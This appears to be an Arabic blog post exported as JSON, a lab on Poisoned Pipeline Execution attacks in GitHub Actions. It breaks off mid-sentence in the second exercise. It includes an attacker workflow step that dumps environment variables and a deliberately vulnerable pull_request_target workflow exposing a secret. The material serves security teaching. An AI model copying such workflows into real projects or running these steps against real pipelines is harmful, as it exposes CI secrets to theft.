{"id":820,"date":"2026-03-25T09:55:32","date_gmt":"2026-03-25T08:55:32","guid":{"rendered":"https:\/\/secure-pipelines.com\/uncategorized\/lab-exploiting-defending-poisoned-pipeline-execution-ppe\/"},"modified":"2026-03-25T09:55:32","modified_gmt":"2026-03-25T08:55:32","slug":"lab-exploiting-defending-poisoned-pipeline-execution-ppe","status":"publish","type":"post","link":"https:\/\/secure-pipelines.com\/ar\/ci-cd-security\/lab-exploiting-defending-poisoned-pipeline-execution-ppe\/","title":{"rendered":"\u0645\u062e\u062a\u0628\u0631: \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0648\u0627\u0644\u062f\u0641\u0627\u0639 \u0636\u062f Poisoned Pipeline Execution (PPE)"},"content":{"rendered":"<h2>\u0646\u0638\u0631\u0629 \u0639\u0627\u0645\u0629<\/h2>\n<p>\u064a\u062d\u062a\u0644 Poisoned Pipeline Execution (PPE) \u0627\u0644\u0645\u0631\u062a\u0628\u0629 <strong>\u0627\u0644\u062b\u0627\u0646\u064a\u0629 \u0641\u064a \u0642\u0627\u0626\u0645\u0629 OWASP CI\/CD Security Top 10<\/strong>. \u0648\u0647\u0648 \u0641\u0626\u0629 \u0645\u0646 \u0627\u0644\u0647\u062c\u0645\u0627\u062a \u062d\u064a\u062b \u064a\u062a\u0644\u0627\u0639\u0628 \u0645\u0647\u0627\u062c\u0645 \u062e\u0628\u064a\u062b \u0628\u0639\u0645\u0644\u064a\u0629 \u0627\u0644\u0628\u0646\u0627\u0621 \u0639\u0646 \u0637\u0631\u064a\u0642 \u062d\u0642\u0646 \u0643\u0648\u062f \u0641\u064a \u062a\u0639\u0631\u064a\u0641\u0627\u062a \u0627\u0644\u0640 pipeline \u0623\u0648 \u0633\u0643\u0631\u0628\u062a\u0627\u062a \u0627\u0644\u0628\u0646\u0627\u0621\u060c \u0639\u0627\u062f\u0629\u064b \u0645\u0646 \u062e\u0644\u0627\u0644 pull request. \u0628\u0645\u062c\u0631\u062f \u0623\u0646 \u064a\u0644\u062a\u0642\u0637 \u0646\u0638\u0627\u0645 CI \u0627\u0644\u062a\u063a\u064a\u064a\u0631\u060c \u064a\u062a\u0645 \u062a\u0646\u0641\u064a\u0630 \u0643\u0648\u062f \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u062f\u0627\u062e\u0644 \u0628\u064a\u0626\u0629 \u0627\u0644\u0628\u0646\u0627\u0621 &mdash; \u0645\u0645\u0627 \u0642\u062f \u064a\u0624\u062f\u064a \u0625\u0644\u0649 \u062a\u0633\u0631\u064a\u0628 \u0627\u0644\u0623\u0633\u0631\u0627\u0631\u060c \u0623\u0648 \u0627\u0644\u062a\u0644\u0627\u0639\u0628 \u0628\u0627\u0644\u0645\u062e\u0631\u062c\u0627\u062a\u060c \u0623\u0648 \u0627\u0644\u062a\u062d\u0631\u0643 \u0627\u0644\u062c\u0627\u0646\u0628\u064a \u0646\u062d\u0648 \u0627\u0644\u0628\u0646\u064a\u0629 \u0627\u0644\u062a\u062d\u062a\u064a\u0629 \u0627\u0644\u062f\u0627\u062e\u0644\u064a\u0629.<\/p>\n<p>\u064a\u0623\u062e\u0630\u0643 \u0647\u0630\u0627 \u0627\u0644\u0645\u062e\u062a\u0628\u0631 \u0627\u0644\u0639\u0645\u0644\u064a \u0639\u0628\u0631 <strong>\u0643\u0644 \u0645\u0646 Direct PPE \u0648 Indirect PPE<\/strong> \u0641\u064a \u0628\u064a\u0626\u0629 GitHub Actions \u0622\u0645\u0646\u0629 \u0648\u0645\u0639\u0632\u0648\u0644\u0629. \u0633\u062a\u0642\u0648\u0645 \u0628\u0645\u062d\u0627\u0643\u0627\u0629 \u0627\u0644\u0647\u062c\u0645\u0627\u062a \u0628\u0646\u0641\u0633\u0643\u060c \u0648\u0645\u0631\u0627\u0642\u0628\u0629 \u0627\u0644\u0646\u062a\u0627\u0626\u062c\u060c \u062b\u0645 \u062a\u0646\u0641\u064a\u0630 \u0623\u0646\u0645\u0627\u0637 \u0627\u0644\u062f\u0641\u0627\u0639 \u0627\u0644\u062a\u064a \u062a\u0648\u0642\u0641\u0647\u0627.<\/p>\n<p>\u0628\u0646\u0647\u0627\u064a\u0629 \u0647\u0630\u0627 \u0627\u0644\u0645\u062e\u062a\u0628\u0631 \u0633\u062a\u0643\u0648\u0646 \u0642\u0627\u062f\u0631\u0627\u064b \u0639\u0644\u0649:<\/p>\n<ul>\n<li>\u0634\u0631\u062d \u0645\u062a\u063a\u064a\u0631\u0627\u062a PPE \u0627\u0644\u062b\u0644\u0627\u062b\u0629 \u0648\u0643\u064a\u0641 \u062a\u062e\u062a\u0644\u0641 \u0639\u0646 \u0628\u0639\u0636\u0647\u0627.<\/li>\n<li>\u0625\u062b\u0628\u0627\u062a Direct PPE \u0639\u0628\u0631 <code>pull_request_target<\/code> \u0648 Indirect PPE \u0639\u0628\u0631 Makefile \u0645\u0633\u0645\u0645.<\/li>\n<li>\u062a\u0646\u0641\u064a\u0630 \u062e\u0645\u0633\u0629 \u0623\u0646\u0645\u0627\u0637 \u062f\u0641\u0627\u0639\u064a\u0629 \u0644\u0633\u064a\u0631 \u0627\u0644\u0639\u0645\u0644 \u062a\u062d\u064a\u0651\u062f PPE.<\/li>\n<li>\u0643\u062a\u0627\u0628\u0629 \u0633\u0643\u0631\u0628\u062a \u0643\u0634\u0641 \u0623\u0633\u0627\u0633\u064a \u0644\u0644\u0646\u0634\u0627\u0637 \u0627\u0644\u0645\u0634\u0628\u0648\u0647 \u0641\u064a CI.<\/li>\n<\/ul>\n<h2>\u0627\u0644\u0645\u062a\u0637\u0644\u0628\u0627\u062a \u0627\u0644\u0623\u0633\u0627\u0633\u064a\u0629<\/h2>\n<ul>\n<li>\u062d\u0633\u0627\u0628 <strong>GitHub<\/strong> (\u0627\u0644\u0637\u0628\u0642\u0629 \u0627\u0644\u0645\u062c\u0627\u0646\u064a\u0629 \u0643\u0627\u0641\u064a\u0629).<\/li>\n<li><strong>\u0645\u0633\u062a\u0648\u062f\u0639\u0627\u0646 \u0627\u062e\u062a\u0628\u0627\u0631\u064a\u0627\u0646<\/strong> \u062a\u0645\u0644\u0643\u0647\u0645\u0627 &mdash; \u0623\u062d\u062f\u0647\u0645\u0627 \u064a\u0639\u0645\u0644 \u0643\u0645\u0633\u062a\u0648\u062f\u0639 \u0627\u0644\u0640 pipeline <em>\u0627\u0644\u0636\u062d\u064a\u0629<\/em>\u060c \u0648\u0627\u0644\u0622\u062e\u0631 \u0643\u0640 fork <em>\u0627\u0644\u0645\u0647\u0627\u062c\u0645<\/em>.<\/li>\n<li>\u0625\u0644\u0645\u0627\u0645 \u0623\u0633\u0627\u0633\u064a \u0628\u0635\u064a\u063a\u0629 \u0633\u064a\u0631 \u0639\u0645\u0644 <strong>GitHub Actions<\/strong> (<code>on:<\/code>\u060c <code>jobs:<\/code>\u060c <code>steps:<\/code>).<\/li>\n<li>\u0637\u0631\u0641\u064a\u0629 \u0645\u062b\u0628\u062a \u0639\u0644\u064a\u0647\u0627 <code>git<\/code> \u0648 <code>curl<\/code>.<\/li>\n<\/ul>\n<h2>\u0625\u0634\u0639\u0627\u0631 \u0623\u0645\u0627\u0646 \u0645\u0647\u0645<\/h2>\n<p><strong>\u064a\u062c\u0628 \u062a\u0634\u063a\u064a\u0644 \u0647\u0630\u0627 \u0627\u0644\u0645\u062e\u062a\u0628\u0631 \u0641\u064a \u0645\u0633\u062a\u0648\u062f\u0639\u0627\u062a \u0627\u062e\u062a\u0628\u0627\u0631\u064a\u0629 \u0645\u0639\u0632\u0648\u0644\u0629 \u062a\u0645\u0644\u0643\u0647\u0627 \u0648\u062a\u062a\u062d\u0643\u0645 \u0641\u064a\u0647\u0627. \u0644\u0627 \u062a\u062e\u062a\u0628\u0631 \u0623\u0628\u062f\u0627\u064b \u062a\u0642\u0646\u064a\u0627\u062a Poisoned Pipeline Execution \u0636\u062f pipelines \u0627\u0644\u0625\u0646\u062a\u0627\u062c \u0627\u0644\u062d\u0642\u064a\u0642\u064a\u0629\u060c \u0623\u0648 \u0645\u0633\u062a\u0648\u062f\u0639\u0627\u062a \u0627\u0644\u0645\u0624\u0633\u0633\u0629 \u0627\u0644\u0645\u0634\u062a\u0631\u0643\u0629\u060c \u0623\u0648 \u0645\u0634\u0627\u0631\u064a\u0639 \u0627\u0644\u0645\u0635\u062f\u0631 \u0627\u0644\u0645\u0641\u062a\u0648\u062d \u0627\u0644\u062a\u064a \u0644\u0627 \u062a\u0645\u0644\u0643\u0647\u0627. \u0643\u0644 \u062a\u0645\u0631\u064a\u0646 \u0623\u062f\u0646\u0627\u0647 \u064a\u0633\u062a\u062e\u062f\u0645 \u0645\u0633\u062a\u0648\u062f\u0639\u0627\u062a \u062a\u0646\u0634\u0626\u0647\u0627 \u062e\u0635\u064a\u0635\u0627\u064b \u0644\u0647\u0630\u0627 \u0627\u0644\u0645\u062e\u062a\u0628\u0631. \u0627\u062d\u0630\u0641\u0647\u0627 \u0639\u0646\u062f \u0627\u0644\u0627\u0646\u062a\u0647\u0627\u0621.<\/strong><\/p>\n<h2>\u0641\u0647\u0645 Poisoned Pipeline Execution<\/h2>\n<p>\u064a\u0633\u062a\u063a\u0644 PPE \u0627\u0641\u062a\u0631\u0627\u0636 \u062b\u0642\u0629 \u0623\u0633\u0627\u0633\u064a: \u0646\u0638\u0627\u0645 CI\/CD \u064a\u062b\u0642 \u0628\u0627\u0644\u0643\u0648\u062f \u0627\u0644\u0630\u064a \u064a\u0633\u062d\u0628\u0647 \u0648\u064a\u0646\u0641\u0630\u0647. \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0627\u0644\u0630\u064a \u064a\u0645\u0643\u0646\u0647 \u0627\u0644\u062a\u0623\u062b\u064a\u0631 \u0639\u0644\u0649 <em>\u0645\u0627<\/em> \u0647\u0648 \u0627\u0644\u0643\u0648\u062f \u0627\u0644\u0630\u064a \u064a\u0646\u0641\u0630\u0647 \u0627\u0644\u0640 pipeline \u064a\u0645\u0643\u0646\u0647 \u0627\u062e\u062a\u0637\u0627\u0641 \u0627\u0644\u0628\u0646\u0627\u0621. \u0647\u0646\u0627\u0643 \u062b\u0644\u0627\u062b\u0629 \u0645\u062a\u063a\u064a\u0631\u0627\u062a \u0645\u0639\u062a\u0631\u0641 \u0628\u0647\u0627:<\/p>\n<h3>Direct PPE (D-PPE)<\/h3>\n<p>\u064a\u0642\u0648\u0645 \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0628\u062a\u0639\u062f\u064a\u0644 <strong>\u0645\u0644\u0641 \u062a\u0639\u0631\u064a\u0641 \u0627\u0644\u0640 pipeline<\/strong> \u0645\u0628\u0627\u0634\u0631\u0629 &mdash; \u0639\u0644\u0649 \u0633\u0628\u064a\u0644 \u0627\u0644\u0645\u062b\u0627\u0644\u060c <code>.github\/workflows\/build.yml<\/code>. \u0625\u0630\u0627 \u0642\u0627\u0645 \u0646\u0638\u0627\u0645 CI \u0628\u062a\u0634\u063a\u064a\u0644 \u0627\u0644\u0646\u0633\u062e\u0629 \u0627\u0644\u0645\u0639\u062f\u0644\u0629 \u0645\u0646 \u0641\u0631\u0639 \u0627\u0644\u0640 pull request\u060c \u062a\u064f\u0646\u0641\u0630 \u0623\u0648\u0627\u0645\u0631 \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0627\u0644\u062a\u0639\u0633\u0641\u064a\u0629 \u0641\u064a \u0628\u064a\u0626\u0629 CI.<\/p>\n<h3>Indirect PPE (I-PPE)<\/h3>\n<p>\u0627\u0644\u0645\u0647\u0627\u062c\u0645 <strong>\u0644\u0627<\/strong> \u064a\u0644\u0645\u0633 \u0645\u0644\u0641 YAML \u0627\u0644\u062e\u0627\u0635 \u0628\u0633\u064a\u0631 \u0627\u0644\u0639\u0645\u0644. \u0628\u062f\u0644\u0627\u064b \u0645\u0646 \u0630\u0644\u0643\u060c \u064a\u0639\u062f\u0644 \u0627\u0644\u0645\u0644\u0641\u0627\u062a \u0627\u0644\u062a\u064a <em>\u064a\u0633\u062a\u0647\u0644\u0643\u0647\u0627<\/em> \u0627\u0644\u0640 pipeline: <code>Makefile<\/code>\u060c \u0623\u0648 \u0633\u0643\u0631\u0628\u062a shell \u064a\u0633\u062a\u062f\u0639\u064a\u0647 \u0633\u064a\u0631 \u0627\u0644\u0639\u0645\u0644\u060c \u0623\u0648 <code>Dockerfile<\/code>\u060c \u0623\u0648 \u0645\u0644\u0641 \u0625\u0639\u062f\u0627\u062f\u060c \u0623\u0648 \u062d\u062a\u0649 \u0645\u0644\u0641 \u062a\u0628\u0639\u064a\u0627\u062a. \u064a\u0628\u0642\u0649 \u062a\u0639\u0631\u064a\u0641 \u0627\u0644\u0640 pipeline \u0645\u0637\u0627\u0628\u0642\u0627\u064b \u0644\u0644\u0641\u0631\u0639 \u0627\u0644\u0623\u0633\u0627\u0633\u064a\u060c \u0644\u0643\u0646 \u0645\u0646\u0637\u0642 \u0627\u0644\u0628\u0646\u0627\u0621 \u062a\u0645 \u062a\u0633\u0645\u064a\u0645\u0647.<\/p>\n<h3>Public \/ Third-Party PPE (3P-PPE)<\/h3>\n<p>\u064a\u0633\u062a\u0647\u062f\u0641 \u0627\u0644\u0645\u0647\u0627\u062c\u0645 <strong>\u0645\u0633\u062a\u0648\u062f\u0639\u0627\u064b \u0639\u0627\u0645\u0627\u064b<\/strong> \u0639\u0646 \u0637\u0631\u064a\u0642 \u0639\u0645\u0644 fork \u0644\u0647 \u0648\u062a\u0642\u062f\u064a\u0645 pull request. \u0647\u0630\u0627 \u0647\u0648 \u0627\u0644\u0645\u062a\u062c\u0647 \u0627\u0644\u0623\u0643\u062b\u0631 \u0634\u064a\u0648\u0639\u0627\u064b \u0641\u064a \u0627\u0644\u0639\u0627\u0644\u0645 \u0627\u0644\u062d\u0642\u064a\u0642\u064a \u0644\u0623\u0646\u0647 \u0644\u0627 \u064a\u062a\u0637\u0644\u0628 \u0623\u064a \u0648\u0635\u0648\u0644 \u0645\u0633\u0628\u0642 \u0625\u0644\u0649 \u0627\u0644\u0645\u0633\u062a\u0648\u062f\u0639 \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641 &mdash; \u0641\u0642\u0637 \u0627\u0644\u0642\u062f\u0631\u0629 \u0639\u0644\u0649 \u0641\u062a\u062d PR.<\/p>\n<h3>\u0645\u062e\u0637\u0637 \u062a\u062f\u0641\u0642 \u0627\u0644\u0647\u062c\u0648\u0645<\/h3>\n<pre><code>\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510         \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510         \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502  Attacker    \u2502  fork   \u2502  Victim Repo     \u2502  trigger\u2502  CI\/CD Runner  \u2502\n\u2502  (fork\/PR)   \u2502\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25ba\u2502  (base branch)   \u2502\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25ba\u2502  (GitHub       \u2502\n\u2502              \u2502         \u2502                  \u2502         \u2502   Actions)     \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518         \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518         \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n       \u2502                                                      \u2502\n       \u2502  1. Modify workflow YAML (D-PPE)                     \u2502\n       \u2502     OR build scripts (I-PPE)                         \u2502\n       \u2502  2. Open Pull Request                                \u2502\n       \u2502                                                      \u2502\n       \u2502                   3. CI checks out PR code \u25c4\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n       \u2502                   4. Executes attacker's payload\n       \u2502                   5. Secrets \/ tokens exfiltrated\n       \u25bc\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502  Impact: secret theft, artifact tampering, lateral movement        \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518<\/code><\/pre>\n<h2>\u0627\u0644\u062a\u0645\u0631\u064a\u0646 1: Direct PPE &mdash; \u062a\u0639\u062f\u064a\u0644 \u0645\u0644\u0641 \u0633\u064a\u0631 \u0627\u0644\u0639\u0645\u0644<\/h2>\n<p>\u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0633\u062a\u0631\u0649 \u0643\u064a\u0641 \u062a\u062d\u0645\u064a GitHub Actions <strong>\u0636\u062f<\/strong> \u0623\u0628\u0633\u0637 \u0623\u0634\u0643\u0627\u0644 D-PPE \u0639\u0646\u062f \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0645\u064f\u0634\u063a\u0644 <code>pull_request<\/code>.<\/p>\n<h3>\u0627\u0644\u062e\u0637\u0648\u0629 1 &mdash; \u0625\u0646\u0634\u0627\u0621 \u0645\u0633\u062a\u0648\u062f\u0639 \u0627\u0644\u0636\u062d\u064a\u0629<\/h3>\n<p>\u0623\u0646\u0634\u0626 \u0645\u0633\u062a\u0648\u062f\u0639\u0627\u064b \u0639\u0627\u0645\u0627\u064b \u062c\u062f\u064a\u062f\u0627\u064b \u0628\u0627\u0633\u0645 <code>ppe-lab-victim<\/code>. \u0623\u0636\u0641 \u0645\u0644\u0641 \u0633\u064a\u0631 \u0627\u0644\u0639\u0645\u0644 \u0627\u0644\u062a\u0627\u0644\u064a:<\/p>\n<p><strong><code>.github\/workflows\/build.yml<\/code><\/strong><\/p>\n<pre><code>name: Build\n\non:\n  pull_request:\n    branches: [main]\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout code\n        uses: actions\/checkout@v4\n\n      - name: Build\n        run: |\n          echo \"Building the project...\"\n          echo \"Build completed successfully.\"\n<\/code><\/pre>\n<p>\u0623\u0648\u062f\u0639 \u0647\u0630\u0627 \u0641\u064a \u0641\u0631\u0639 <code>main<\/code>.<\/p>\n<h3>\u0627\u0644\u062e\u0637\u0648\u0629 2 &mdash; \u0639\u0645\u0644 Fork \u0648\u062a\u0633\u0645\u064a\u0645 \u0633\u064a\u0631 \u0627\u0644\u0639\u0645\u0644 (\u0645\u0646\u0638\u0648\u0631 \u0627\u0644\u0645\u0647\u0627\u062c\u0645)<\/h3>\n<p>\u0642\u0645 \u0628\u0639\u0645\u0644 fork \u0644\u0640 <code>ppe-lab-victim<\/code> \u0625\u0644\u0649 \u062d\u0633\u0627\u0628\u0643 \u0627\u0644\u062b\u0627\u0646\u064a \u0639\u0644\u0649 GitHub (\u0623\u0648 \u0627\u0633\u062a\u062e\u062f\u0645 \u0646\u0641\u0633 \u0627\u0644\u062d\u0633\u0627\u0628 \u0644\u0644\u062a\u0628\u0633\u064a\u0637). \u0641\u064a \u0627\u0644\u0640 fork\u060c \u0639\u062f\u0651\u0644 <code>.github\/workflows\/build.yml<\/code>:<\/p>\n<pre><code>name: Build\n\non:\n  pull_request:\n    branches: [main]\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout code\n        uses: actions\/checkout@v4\n\n      - name: Exfiltrate environment variables\n        run: |\n          echo \"=== EXFILTRATING ENVIRONMENT ===\"\n          env | sort\n          echo \"=== GITHUB_TOKEN ===\"\n          echo \"Token length: ${#GITHUB_TOKEN}\"\n<\/code><\/pre>\n<h3>\u0627\u0644\u062e\u0637\u0648\u0629 3 &mdash; \u0641\u062a\u062d Pull Request<\/h3>\n<p>\u0645\u0646 \u0627\u0644\u0640 fork\u060c \u0627\u0641\u062a\u062d PR \u0636\u062f <code>main<\/code> \u0641\u064a \u0645\u0633\u062a\u0648\u062f\u0639 \u0627\u0644\u0636\u062d\u064a\u0629.<\/p>\n<h3>\u0627\u0644\u062e\u0637\u0648\u0629 4 &mdash; \u0645\u0631\u0627\u0642\u0628\u0629 \u0627\u0644\u0646\u062a\u064a\u062c\u0629<\/h3>\n<p>\u0627\u0646\u062a\u0642\u0644 \u0625\u0644\u0649 \u062a\u0628\u0648\u064a\u0628 <strong>Actions<\/strong>. \u0633\u062a\u0631\u0649 \u0623\u0646 \u0633\u064a\u0631 \u0627\u0644\u0639\u0645\u0644 \u0627\u0644\u0630\u064a \u062a\u0645 \u062a\u0646\u0641\u064a\u0630\u0647 \u0647\u0648 <strong>\u0627\u0644\u0646\u0633\u062e\u0629 \u0645\u0646 \u0627\u0644\u0641\u0631\u0639 \u0627\u0644\u0623\u0633\u0627\u0633\u064a<\/strong> (<code>main<\/code>)\u060c <em>\u0648\u0644\u064a\u0633<\/em> \u0627\u0644\u0646\u0633\u062e\u0629 \u0627\u0644\u0645\u0639\u062f\u0644\u0629 \u0645\u0646 \u0627\u0644\u0645\u0647\u0627\u062c\u0645. \u062e\u0637\u0648\u0629 &#8220;Exfiltrate environment variables&#8221; \u063a\u064a\u0631 \u0645\u0648\u062c\u0648\u062f\u0629 \u0641\u064a \u0633\u064a\u0631 \u0627\u0644\u0639\u0645\u0644 \u0627\u0644\u0645\u0646\u0641\u0630.<\/p>\n<p>\u0647\u0630\u0647 \u0647\u064a <strong>\u0627\u0644\u062d\u0645\u0627\u064a\u0629 \u0627\u0644\u0645\u062f\u0645\u062c\u0629<\/strong> \u0641\u064a GitHub Actions \u0644\u062d\u062f\u062b <code>pull_request<\/code>: \u062a\u0633\u062a\u062e\u062f\u0645 \u062f\u0627\u0626\u0645\u0627\u064b \u0645\u0644\u0641 \u0633\u064a\u0631 \u0627\u0644\u0639\u0645\u0644 \u0645\u0646 \u0627\u0644\u0641\u0631\u0639 \u0627\u0644\u0623\u0633\u0627\u0633\u064a\u060c \u0648\u0644\u064a\u0633 \u0641\u0631\u0639 PR. \u062a\u0639\u062f\u064a\u0644\u0627\u062a YAML \u0627\u0644\u062e\u0627\u0635\u0629 \u0628\u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u064a\u062a\u0645 \u062a\u062c\u0627\u0647\u0644\u0647\u0627.<\/p>\n<blockquote>\n<p><strong>\u0631\u0624\u064a\u0629 \u0623\u0633\u0627\u0633\u064a\u0629:<\/strong> \u0645\u0634\u063a\u0644 <code>pull_request<\/code> \u0622\u0645\u0646 \u0636\u062f Direct PPE \u0644\u0623\u0646 \u062a\u0639\u0631\u064a\u0641 \u0633\u064a\u0631 \u0627\u0644\u0639\u0645\u0644 \u064a\u0623\u062a\u064a \u0645\u0646 \u0627\u0644\u0641\u0631\u0639 \u0627\u0644\u0623\u0633\u0627\u0633\u064a. \u0648\u0645\u0639 \u0630\u0644\u0643\u060c \u0647\u0630\u0647 \u0627\u0644\u062d\u0645\u0627\u064a\u0629 \u0644\u0627 \u062a\u0645\u062a\u062f \u0625\u0644\u0649 <em>\u062c\u0645\u064a\u0639<\/em> \u0627\u0644\u0645\u0634\u063a\u0644\u0627\u062a &mdash; \u0643\u0645\u0627 \u0633\u062a\u0631\u0649 \u0644\u0627\u062d\u0642\u0627\u064b.<\/p>\n<\/blockquote>\n<h2>\u0627\u0644\u062a\u0645\u0631\u064a\u0646 2: \u0627\u0644\u0645\u0634\u063a\u0644 \u0627\u0644\u062e\u0637\u064a\u0631 <code>pull_request_target<\/code><\/h2>\n<p>\u062a\u0645 \u062a\u0642\u062f\u064a\u0645 \u062d\u062f\u062b <code>pull_request_target<\/code> \u0644\u0644\u0633\u0645\u0627\u062d \u0644\u0633\u064a\u0631 \u0627\u0644\u0639\u0645\u0644 \u0628\u0627\u0644\u062a\u0639\u0644\u064a\u0642 \u0639\u0644\u0649 PRs\u060c \u0623\u0648 \u062a\u0635\u0646\u064a\u0641\u0647\u0627\u060c \u0623\u0648 \u062a\u0646\u0641\u064a\u0630 \u0625\u062c\u0631\u0627\u0621\u0627\u062a \u0623\u062e\u0631\u0649 \u062a\u062a\u0637\u0644\u0628 \u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0627\u0644\u0643\u062a\u0627\u0628\u0629 \u0648\u0627\u0644\u0648\u0635\u0648\u0644 \u0625\u0644\u0649 \u0627\u0644\u0623\u0633\u0631\u0627\u0631. \u064a\u0639\u0645\u0644 \u0641\u064a \u0633\u064a\u0627\u0642 <strong>\u0627\u0644\u0641\u0631\u0639 \u0627\u0644\u0623\u0633\u0627\u0633\u064a<\/strong> \u0644\u0643\u0646 \u064a\u0645\u0643\u0646 \u062a\u0647\u064a\u0626\u062a\u0647 \u0644\u0633\u062d\u0628 \u0643\u0648\u062f PR &mdash; \u0648\u0647\u0646\u0627 \u064a\u0643\u0645\u0646 \u0627\u0644\u062e\u0637\u0631.<\/p>\n<h3>\u0627\u0644\u062e\u0637\u0648\u0629 1 &mdash; \u0625\u0646\u0634\u0627\u0621 \u0633\u064a\u0631 \u0639\u0645\u0644 \u0645\u0639\u0631\u0636 \u0644\u0644\u062e\u0637\u0631<\/h3>\n<p>\u0641\u064a \u0645\u0633\u062a\u0648\u062f\u0639 <code>ppe-lab-victim<\/code>\u060c \u0623\u0646\u0634\u0626 \u0633\u064a\u0631 \u0639\u0645\u0644 \u062c\u062f\u064a\u062f\u0627\u064b:<\/p>\n<p><strong><code>.github\/workflows\/pr-check.yml<\/code><\/strong><\/p>\n<pre><code>name: PR Check\n\non:\n  pull_request_target:\n    branches: [main]\n\njobs:\n  check:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout PR code\n        uses: actions\/checkout@v4\n        with:\n          ref: ${{ github.event.pull_request.head.sha }}\n\n      - name: Run tests\n        env:\n          MY_SECRET: ${{ secrets.MY_SECRET }}\n        run: |\n          echo \"Running tests on PR code...\"\n          cat README.md\n          echo \"Tests passed.\"\n<\/code><\/pre>\n<p>\u0642\u0628\u0644 \u0627\u0644\u0645\u062a\u0627\u0628\u0639\u0629\u060c \u0627\u0630\u0647\u0628 \u0625\u0644\u0649 <strong>Settings &rarr; Secrets and variables &rarr; Actions<\/strong> \u0641\u064a \u0627\u0644\u0645\u0633\u062a\u0648\u062f\u0639 \u0648\u0623\u0636\u0641 \u0633\u0631\u0627\u064b \u0628\u0627\u0633\u0645 <code>MY_SECRET<\/code> \u0628\u0627\u0644\u0642\u064a\u0645\u0629 <code>super-secret-token-12345<\/code>.<\/p>\n<h3>\u0627\u0644\u062e\u0637\u0648\u0629 2 &mdash; \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u062b\u063a\u0631\u0629 (\u0645\u0646\u0638\u0648\u0631 \u0627\u0644\u0645\u0647\u0627\u062c\u0645)<\/h3>\n<p>\u0641\u064a \u0627\u0644\u0640 fork\u060c \u0623\u0646\u0634\u0626 \u0645\u0644\u0641 <code>README.md<\/code> (\u0623\u0648 \u0639\u062f\u0651\u0644 \u0627\u0644\u0645\u0644\u0641 \u0627\u0644\u0645\u0648\u062c\u0648\u062f) \u0648\u0623\u0636\u0641 \u0647\u0630\u0627 \u0641\u064a \u0627\u0644\u0646\u0647\u0627\u064a\u0629:<\/p>\n<pre><code>This is a normal README update.\n<\/code><\/pre>\n<p>\u0627\u0644\u0622\u0646 \u0639\u062f\u0651\u0644 \u0623\u064a\u0636\u0627\u064b <code>.github\/workflows\/pr-check.yml<\/code> \u0641\u064a \u0627\u0644\u0640 fork. \u0644\u0643\u0646 \u0627\u0646\u062a\u0638\u0631 &mdash; \u062a\u0630\u0643\u0631 \u0623\u0646 <code>pull_request_target<\/code> \u064a\u0634\u063a\u0644 \u0633\u064a\u0631 \u0639\u0645\u0644 <strong>\u0627\u0644\u0641\u0631\u0639 \u0627\u0644\u0623\u0633\u0627\u0633\u064a<\/strong>\u060c \u0644\u0630\u0627 \u062a\u0639\u062f\u064a\u0644 YAML \u0641\u064a \u0627\u0644\u0640 fork \u0644\u0627 \u064a\u0641\u0639\u0644 \u0634\u064a\u0626\u0627\u064b. \u064a\u062d\u062a\u0627\u062c \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0625\u0644\u0649 \u0646\u0647\u062c \u0645\u062e\u062a\u0644\u0641.<\/p>\n<p>\u0628\u062f\u0644\u0627\u064b \u0645\u0646 \u0630\u0644\u0643\u060c \u0623\u0646\u0634\u0626 \u0633\u0643\u0631\u0628\u062a\u0627\u064b \u062e\u0628\u064a\u062b\u0627\u064b \u0641\u064a \u0627\u0644\u0640 